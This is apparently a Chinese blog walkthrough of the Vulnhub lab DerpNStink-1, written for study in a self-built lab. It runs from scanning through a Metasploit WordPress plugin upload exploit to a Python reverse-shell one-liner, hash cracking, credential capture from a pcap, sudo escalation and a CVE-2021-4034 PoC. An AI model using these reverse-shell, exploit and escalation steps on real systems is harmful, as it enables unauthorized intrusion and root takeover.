zl程序教程

您现在的位置是:首页 >  后端

当前栏目

【甄选靶场】Vulnhub百个项目渗透——项目七:DerpNStink-1(sql注入,流量分析)

注入项目SQL 分析 渗透 流量 靶场 Vulnhub
2023-09-27 14:26:30 时间

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目七:DerpNStink-1 (sql注入,流量分析)
靶场环境 提取码:rong


🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年8月22日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


一、梳理流程

  1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
  2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件,服务尝试访问,寻求突破)
  3. 二次收集(基于已得到的服务或者主机再次信息收集)
  4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
  5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

二、操作步骤

1.端口发现

代码如下:

ifconfig                  //用来查看自己的IP

namp 192.168.247.0/24 -sP //用来扫描同网段所有存活主机,注意最后是0
这个IP是你ifconfig出来的IP

nmap -p- 192.168.247.134  //扫描开放端口,找服务
(服务越多,我们越应该兴奋,因为服务多代表漏洞越多,越好下手)

一般来说,结尾是1或2或255的一般是你的网关设备,所以基本可以排除

在这里插入图片描述

这里我们看到了三个开放服务,端口号分别是21,20,80,对应了ftp,ssh,http三个服务。我们简要的猜测,分析一下,只有这三个服务,那么可能存在突破点也就是三个大方面:

  1. ssh:登录的可能性?爆破的可能性?ssh敲门开启一个新的端口的可能性?
  2. ftp:有没有无密码登陆的可能性?
  3. web:web渗透首先应该浏览器访问IP地址,看看是否是已知cms?网站信息泄露?已知的后台密码?sql注入?能否利用扫描器扫描web站点?

2.web突破

代码集合:

1. 利用curl访问web页面信息:
curl http://192.168.247.134
2.按照网页提示写入hosts
 vim /etc/hosts  //打开hosts文件,很基础的命令,一定要记住
3.枚举子域名
dirb http://derpnstink.local/
4.扫描
wpscan --url http://derpnstink.local/weblog/   //wpscan扫描

5.msf利用
msfconsole
search Slideshow Gallery
use exploit/unix/webapp/wp_slideshowgallery_upload
options
set rhosts 192.168.247.134
set targeturi /weblog
set wp_user admin
set wp_password admin
run
6.拿shell,进内网/主机
nc -vlp 6677     //在本机上开启6677的端口,来准备接受反弹回来的shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.247.129",6677));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'    
//
//在靶机上执行,将url部分替换即可,这句话可以收藏起来,python一句话反弹shell,当然msf也可以
//我只是觉得亲手日的话比较爽

python -c 'import pty; pty.spawn("/bin/bash")'    
//这是linux的两种终端中的一种,要看个人选择,不过我推荐这一种,因为可以挂起shell 
//如果你的命令带颜色就是还没有换过来,需要重启终端

ctrl+z      //挂起
stty raw -echo    //照着输
fg         //这个fg看不到,不过你回车以后就会给你一个惊喜的

在这里插入图片描述

我们一定要敏锐,因为很多信息泄露就在这种看着很头疼的东西之中。
这就得到了一个url,下意识地,我们应该去访问一下

在这里插入图片描述

得到了第一个flag

在这里插入图片描述

访问之前得到的那个目录,翻译了一下,是要让我们做本地host
因为我们现在还不知道给什么域名做hosts,我们就先不要慌,去访问一下,看看有没有跳转,一般需要做host的地方都是有这个站,但是你访问不了,你就要考虑一下做host了

访问192.168.247.134/weblog   //这是日志的意思,也是基本意识
发现跳转到了http://derpnstink.local/weblog/
显而易见,给这个站做本地化

在这里插入图片描述

vim /rtc/hosts  //打开hosts文件,很基础的命令,一定要记住

打开hosts文件,按照图片,IP于域名之间要有空格

在这里插入图片描述

同样是下意识地,看到了WP,我们应该第一时间想到wordpress的cms,有了已知cms,我们就已经成功了一大半
同样的我们也看见了一个phpadmin的目录,这个按理来说也可以是一个突破口,但是这个靶场这个地方打的是cms,我就不作演示了,有兴趣的小伙伴可以利用php版本漏洞,谷歌搜索一下exp来进行利用。

在这里插入图片描述

我们去访问这个红框框起来的目录,因为看到了admin就应该像李云龙的部队一样——嗷嗷叫的野狼,打开了呢是一个登陆界面,然后这里给大家推荐一个博主做的弱口令集合,很好用,wordpress的弱口令登录就是里面找的。

或者利用九头蛇工具爆破,但是没必要,因为很多wp都存在弱口令的,人家要真是认真改密码了你用几头蛇都没用,除非你自己做社工自己做密码可能能成。

但是登陆了以后里面啥也没有,这一个方向我们剩下的只有扫描。这是成功性最大的方案了

https://blog.csdn.net/qq_41262248/article/details/118578054

在这里插入图片描述

wpscan扫描,扫出来没结果,我们要去官网免费注册下载一个密钥然后调用,但是我们有更强的AWVS,而且有破解版,嘿嘿~~

在这里插入图片描述在这里插入图片描述在这里插入图片描述

上面这幅图就是拿到稳定shell的流程

就看红框里的yes或者no,其他不管

根据刚才AWVS扫出来的存在漏洞的插件,我们调用msf来进行利用
同样的,最基本的一点就是输入options,根据选项后面写的yer或者no填写信息,这都是常识哈

3.内网突破

1.内网信息收集

2.内网再次突破

3.内网最终提权

1.首先找root
grep "root" -rn wp-config.php   /*这里应该扩大范围的,但我知道wp站一
般很多重要信息都在wp-config中,所以就直接搞了,小伙伴们实操的话不能这么想当然*/
2.爆破得到的密码
echo '$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41' > 2.txt   //把密码写入到一个txt文本
john 2.txt --wordlist=/usr/share/wordlists/rockyou.txt  /*rockyou字典要自己下载,
目录页是自己的下载目录,记得改*/
3.扩大搜索范围,尝试登陆主机
cat /etc/passwd    //背下来,就这样搜索用户
4.登陆主机
su stinky
wedgie57   //隐藏输入,看不到直接回车就行
ls   //一系列信息收集,就不说了
5.ssh尝试登陆
chmod 400 key.txt   //400就是-rwx
ssh -i key.txt stinky@192.168.4.58  //就是这么写的相信我
6.流量文件分析
kali执行:
nc -l -p 8888 > derp.pcap
靶场执行:
nc 192.168.253.138 8888 < derpissues.pcap    //这两步是用来传递文件的,没啥特殊含义
wireshark derp.pcap    //分析流量文件
1)tcp.stream eq 48    //tcp追踪  如果追踪UDP就改即可
或者:
2)frame contains mrderp  /login  //查看流量中登录信息
或者:
3)http.request.method == "POST"  //过滤查看POST请求信息打开双击查看
7.再次登录
8.sudo提权   //这里面很简单,不过可以去再深究一下,sudo提权以及suid提权
mkdir binaries
cd binaries
echo "/bin/bash" >> derpy.sh
chmod +x derpy.sh 
sudo ./derpy.sh
9.exp提权  =========exp执行非常简单我就不做了因为还得恢复快照,我懒
wget https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c 
//kali执行,下载exp
 python -m http.server 8081
//kali执行。python3改版了注意,这是kali开启服务
wget http://192.168.4.55:8081/cve-2021-4034-poc.c
//靶机执行,从kali手里下载过来
gcc cve-2021-4034-poc.c -o rong
//靶机执行,gcc编译一下
chmod +x rong  
//给它一个权限才能执行
./rong
//执行

在这里插入图片描述

不管是拿到什么机器的shell,第一件事永远是去到家目录进行信息收集,cd ~就可以回到家目录,常识要会

这里的话我发现了mysql的root登录,那么就回到我们一开始目录遍历出的phpmyadmi中尝试登陆

果不其然登陆成功,那么我们就在phpmyadmin中进行再一次的信息收集

在这里插入图片描述

这个地方的话没啥好说的,都是图形化界面,你也可以用最上面的sql执行一些命令,看看有啥库,多转转,现实渗透中,那些配置文件啥的,说不定就被你转到了(前提是你还没被BT打掉)

在这里插入图片描述

把刚才那个hash的密码爆破了以后我们又得到了一套新的用户,我们就要去尝试登录登录,得到了第二个flag,那么下一步应该干嘛?当然是进一步扩大搜索范围:也就是,尝试登陆主机

在这里插入图片描述

我们在刚刚利用msf拿到的shell上搜索一下存在的用户,看看我们得到密码的两位先生在不在里面
结果就是万事胜意,他们两都在,那么看到这里我们就有了两种办法:
1.ftp登录
2.su 用户名 登录
随便你选一个,不过有时候用户登录只能在127.0.0.1,随机应变吧
这里我用su登录

在这里插入图片描述

老生常谈的东西,新到一个地方首先要信息收集(去家目录)

在这里插入图片描述

还用说吗

在这里插入图片描述

我在家目录里看到了敏感的ssh文件夹,就一路跟了下去,发现了一个key.txt
以后我就叫李云龙的野狼

在这里插入图片描述

根据显示,这应该是一个ssh的密钥,因为采用的rsa,不过不能完全确定
赌一赌,单车变摩托嘛,搞起

在这里插入图片描述

但我没搞起,显示的只能用指纹登录,应该是操作问题,不过不影响,我还有一个备胎账号

在这里插入图片描述

我带着悲愤的心情再次回到家目录苦苦寻找,找到一个流量文件
这个地方有一个流量文件绝对不是无意的,我们要分析一下它,首先要知道三点

  1. 流量文件有什么?
  2. 流量文件怎样快速查找?
  3. 有什么注意事项?
    答案都在下面wp里,自己分析吧~

在这里插入图片描述

一般来说,正常的站点都会用get头来发一些ua头啊这样的无关紧要的信息,而账号密码这样的信息就会用post方式来传输,所以我们在最上面输入一行命令,就可以筛选。

1)tcp.stream eq 48    ---tcp追踪  如果追踪UDP就改即可
或者:
2)frame contains mrderp  /login  ---查看流量中登录信息
或者:
3)http.request.method == "POST"  ---过滤查看POST请求信息打开双击查看

再点开我左边框起来的下三角,就可以看到log信息了,然后就发现了备胎账号的密码

然后登录,信息收集(家目录)······
发现了一个log文件,cat打开瞅一眼,发现看不懂

接下来的知识点很重要!!!!!!!!

善于利用谷歌搜索exp,poc以及翻译(一定记住)

在这里插入图片描述

汉语再看不懂我也没法啦~
非常显然地告诉我们可以sudo提权,那么现在摆在我们面前的无非就是,那个目录可以sudo提权呢?
如果不知道那就再深入一点——访问一下信息中的url

在这里插入图片描述

知道目录了

在这里插入图片描述

翻译一下

在这里插入图片描述

sudo提权利用一下,没有目录就新建目录,最后再来一个以那个derpy开头的可执行文件
然后执行它即可


总结

1.信息收集一定要细致,一点点翻,要有耐心。
2.新去到一个主机,一定要到家目录去找,看能不能找到点有用的东西。
3.好好利用谷歌
4.我困了,晚安